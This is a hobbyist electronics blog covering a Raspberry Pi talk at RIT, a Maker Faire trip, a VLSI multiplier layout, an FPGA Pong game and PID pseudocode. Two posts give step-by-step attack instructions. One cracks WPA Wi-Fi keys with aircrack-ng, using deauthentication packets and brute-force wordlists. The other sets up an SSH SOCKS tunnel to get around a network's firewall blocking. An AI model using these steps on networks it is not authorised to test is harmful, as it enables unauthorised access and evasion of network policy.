Rob Bishop @ RIT


Rob Bishop the tech evangelist for the Raspberry Pi is coming down to RIT for the 3rd ARM developers day. Raspberry Pi has become accepted world wide as the next best thing to The Arduino, The raspberry pi has changed the way we learn computers around the world…So come experience this awe inspiring talk by Rob Bishop at RIT.

Registrations open on Friday


ARM developers’ day is finally here, the registrations would be open on friday(12/8/2012) 5:00 pm EST, only RIT students are permitted for DAY 1. The Raspberry Pi workshop on Dec 1st is open to the public. more updates soon. 

Image

Day at the MAKERFAIRE 2012


I was super excited to meet all the wonderful, talented and creative makers from all around the world. here are a few of the photos from my trip..

I think maker fair was more about 3D printers this time, they even had a 3D printing farm, Make 3D and a lot of exhibits  on 3d printing and few on shop bot( bot which works on wood). Make also introduced their new Replicator2 the new maker bot from MAKE. they were a lot of goodies from PJ tools and Xprotolab (20$ oscilloscope + logic analyzer . I was quite amazed with the Xprotolab, tiny little oscilloscope and logic analyzer that can fit on your bread board, i did like the I2C logic analyzer it gets rids of all the waveform and shows your the raw data..not bad for a 20$ oscilloscope.

Make also gave away a free edition of the make magazine, in the MAKE stall. I also got to meet PETE from spark fun electronics who does according to PETE, a very friendly guy!!

here we go…

The most innovative make bot ever, and i luv the precision. the B9 creator

Arduinos cant get any bigger…I was happy to hear about the new arduino with the ARM cortex M) now we can play music with the the DAC on chip (it works… saw him do it) and has a debugger and USB host . Loved the speech by ALF the mastermind behind the AVR architecture.

i had always see this on you tube…non Newtonian fluids

and there was light…lots and lots of LEDs

That is eben from raspberry pi, a very inspirational talk, on how he can afford to make and sell raspberry pi made in Wales,UK for 35$.

Me with the Co-Founder of Arduino project, a man with a big heart for opensource….

PETE from sparkfun very humble and friendly…

the Metro card Robot, turned a lot of heads…

This tiny robots are really cute..

and there was music..

and a free 3D-MAKE magazine…

firefox@makerfair to introduce the new webmaker

i did buy a T-Shirt got a few stickers from sparkfun…took the train to times Square…

God bless america….(thanks for reading….)

luv the the MakerFaire and u T….

The world of LVS and DRCs…


Finally completed my full custom layout for the 4x4Multiplier. The project was completed as a graduate course requirement. With a minimum transistor design for mode select for signed and un-signed multiplication. The Full custom design incorporating a BIST(build in self test) module with a Pseudo random sequence generator for testing the function of the circuit / chip. I have also designed a VHDL code to test the design (send me a comment with ur email address for the code… The pic below show my full design…(and 100 hrs in the LAB 😦 ). I have made report open source(please ignore all the tiny mistakes :-D), please mention mycrobonics.com if you are reproducing this work.Report Download

Final Circuit

Final Custom Layout

Nice work


I hope this is not animated, and if it is not animated, its a really really awsome Halloween project..check out the video…

Pong Game on FPGA


Haven’t been able to update my blog for a very long time, as my graduate work at RIT i had developed an PONG game, it was a fun project we learnt a lot video generation, PS2 protocol decoding and game algorithm, the PONG game is a very standard game it uses the Xilinx University Program Board which hosts a Virtex 2P FPGA, The board has very powerful features and has on-board FLEX for PS/2 and has very robust VGA output. The code for the project is opensource and free to use, a small line of credit for Mycrobonics.com would be nice, the code is quite disorganized and might be difficult to use but u will figure it out eventually. u can see the Demo below…have fun!!![DOWNLOAD CODE]

Periodic Videos better than Big bang theory


If u really like playing around with some chemicals, or get to know the periodic tables, there is this amazing youtube channel called periodic videos, should see the what happens when Cotton+Oxygen+fire comes together..enjoy this rap it blew my mind…

the orginal video is much better see below

NICE PID code


although u cant use this code directly gives a very clear idea of how a PID control loop should look like…

previous_error = setpoint - actual_position
integral = 0
start:
  error = setpoint - actual_position
  integral = integral + (error*dt)
  derivative = (error - previous_error)/dt
  output = (Kp*error) + (Ki*integral) + (Kd*derivative)
  previous_error = error
  wait(dt)
  goto start

thanks to wikipedia..

Cracking WPA encryption


install aircrack-ng using synaptic manager on Ubuntu (or apt-get)….or use mac ports…

open terminal…run
NOTE : airmon-ng will not work for MAC
airmon-ng

note-down your Wlan number you might need it later
run..

airmon-ng start wlan0 11

wlan0 is the name of the Interface and 11 is the channel
verify if the monitor is started by running

airmon-ng

you can check details using

iwconfig

using the following to start a aerodump to capture all wireless packets…

airodump-ng -c 11 -w psk ath0

UPDATE: on a mac you can use airport utility to create a dump/ sniff packets

you need to enable airport comand line utility. on the mac you can use airport -s to scan for all networks in range, and run
airport sniff "channel #"
to sniff all packets on the channel and log it, the .cap file can be found in /tmp folder

get the BSSID and STATION id from the aerodump and use it with aireplay-ng to send out a disconnect packet. This will force wifi devices to send out a 4way WPA authentication, that you can capture.

                          BSSID              STATION I
Daireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

once you feel you have captured enough packets(10-15k) u can use aircrack to crack the key…

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

you can use this  simple C code to create word combination and pipe the STDOUT to aircrack:

permuate -d -m 8 | aircrack-ng psk*.cap -w –

of you can use and do this
crunch 9 9 abcdefg |aircrack-ng psk*.cap -w -

Bypass and Firewall


i did two things this week one is a HTTP tunnel to tunnel any network and access any sites that are blocked…
i thought it would be cool…so i installed Openssh on my Ubuntu(using synaptic manager),make sure the ssh server
is working by the folowing code
ssh sajin@localhost 22
-sajin is the user name(ur ubuntu user name)
-22 is the port number( u can change it using the config file at etc/ssh/..)

once u are sure it is working go to your router page by 192.168.1.1 and set the NAT for virtual servers

tell the Router to forward the Wan Packets with port 22 to LAN your IP.

that all u have to do….

now call your poor friend who has the problem(where are the good sites are blocked;-))

tell him to download putty

RUN PUTTY.exe

Enable Compression(SSH setting in putty and select SSH version as 2 or Only 2)

GO to tunnel option and set port as 9000/8888/6666 wat ever u like and select dynamic option.

Go to sessions in putty and select SSH put in u external WAN ip and Click on OPEN..

enter login details and see if the connection is proper, now the magic, go to Firefox network settings…

select manual proxy, keep all fields as 0 except the last on that is SOCKS5…enter “localhost” with port number that u have set in tunnel options in putty.

also mention no proxy for local host.

and viola, u have ur PC connected securely to another PC through an SSH tunnel now u can browse all u want. Now when ever u access the website is accessed by the remote PC, and your local network firewall will not able to stop the traffic as it is encrypted.

HAVE FUN…